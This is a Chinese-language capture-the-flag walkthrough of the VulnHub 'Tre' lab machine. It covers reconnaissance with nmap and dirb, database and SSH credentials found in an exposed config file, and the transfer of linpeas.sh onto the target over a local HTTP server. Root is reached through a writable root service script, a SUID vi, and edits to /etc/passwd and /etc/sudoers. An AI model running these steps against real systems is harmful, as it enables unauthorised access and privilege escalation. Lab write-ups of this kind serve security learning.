Tre靶场通关
通过信息收集获得到了普通用户账号密码,利用PEASS-ng的linpeas脚本进行提权的信息收集,根据已有信息进行提权。
靶机下载地址:
https://download.vulnhub.com/tre/Tre.zip
信息收集
靶机IP探测:192.168.0.129
arp-scan -l
端口扫描
nmap -p 1-65535 -sV -A 192.168.0.129
22
80
8082
目录扫描
python dirsearch.py -u "http://192.168.0.129"
info.php
adminer.php
dirsearch默认字典没扫除其他有用信息,看别人通关原来是字典的原因,利用dirb大字典扫描目录
dirb http://192.168.0.129 /usr/share/wordlists/dirb/big.txt
dirb扫描文件用以下命令
dirb http://192.168.0.129 /usr/share/wordlists/dirb/big.txt -X .php
在扫描的
http://192.168.0.129/mantisbt/config/ 目录下的a.txt文件发现数据库的信息
# --- Database Configuration ---
$g_hostname = 'localhost';
$g_db_username = 'mantissuser';
$g_db_password = 'password@123AS';
$g_database_name = 'mantis';
$g_db_type = 'mysqli';
在adminer.php页面进行登录
找到了用户密码信息
其中Tre用户可以直接ssh登录
usr:tre
pwd:Tr3@123456A!
ssh tre@192.168.0.129
提权阶段
接下来对tre用户进行提权
主要学习下LinPEAS这个提权脚本(Linux/Unix/MacOS),同PEASS-ng里还有Windows的提权脚本WinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/download/20230425-bd7331ea/linpeas.sh
LinPEAS是一个没有任何依赖的脚本,它使用/bin/sh语法,用于搜索在 Linux/Unix*/MacOS 主机上搜索可能的权限提升路径。默认情况下,LinPEAS 不会向磁盘写入任何内容,也不会尝试以任何其他用户身份使用 su 。
该脚本工具枚举并搜索主机内部可能的错误配置(已知漏洞、用户、进程和文件权限、特殊文件权限、可读/可写文件、暴力破解其他用户(top1000pwds)、密码…),并用颜色突出显示可能的错误配置。
给执行权限,看一下命令参数
chmod 777 linpeas.sh
./linpeas.sh -h
开启http服务将脚本传到靶机
python -m http.server 80
靶机执行
wget http://192.168.0.130/linpeas.sh
给权限运行脚本,由于内容比较多输出到一个文件中方便查看
./linpeas.sh > 1.txt
在kali攻击机中将生成的文件拷贝出来
rsync -avz tre@192.168.0.129:/home/tre/1.txt /root/linpeas.txt
-a:保持原属性
-v:详细信息
-z:在传输文件时压缩减少网络带宽占用
对生成的报告文件进行分析
more linpeas.txt
内嵌了linux-exploit-suggester,可以根据扫描出的内核漏洞进行提权
发现存在一条/bin/bash /usr/bin/check-system的进程,是root用户启动的
查看check-system脚本
cat /usr/bin/check-system
在脚本中发现该脚本的作用是输出Service started at+当前日期,重定向到系统日志等级为info,之后跟了一段死循环一直Checking…让我们发现这个进程用的
不难判断这个一定是开机自启动项,验证一下
ls /etc/systemd/system
cat /etc/systemd/system/check-system.service
或者直接
systemctl list-unit-files | grep enable
提权思路有了:更改这个脚本给vi编辑器s权限,让服务器重启生效,通过vi修改/etc/passwd
有两个问题需要判断:
1.脚本是否有写权限(有)
2.服务器如何重启
发现tre用户有shutdown的sudo权限
利用命令重启
sudo shutdown -r now
发现条件都具备了,修改脚本
进行重启,重新连接,之后vi编辑器就具备了sudo权限,可以横着走了
想改/etc/passwd加一条用户
tpa:123456:0:0:tpa:/root:/bin/bash
但不知道为什么利用用户tpa和密码123456登录不上去
尝试其他方法,想到修改sudo权限,给tre用户增加全部命令的sudo权限
vi /etc/sudoers
直接利用sudo反弹到root,拿到flag
sudo /bin/bash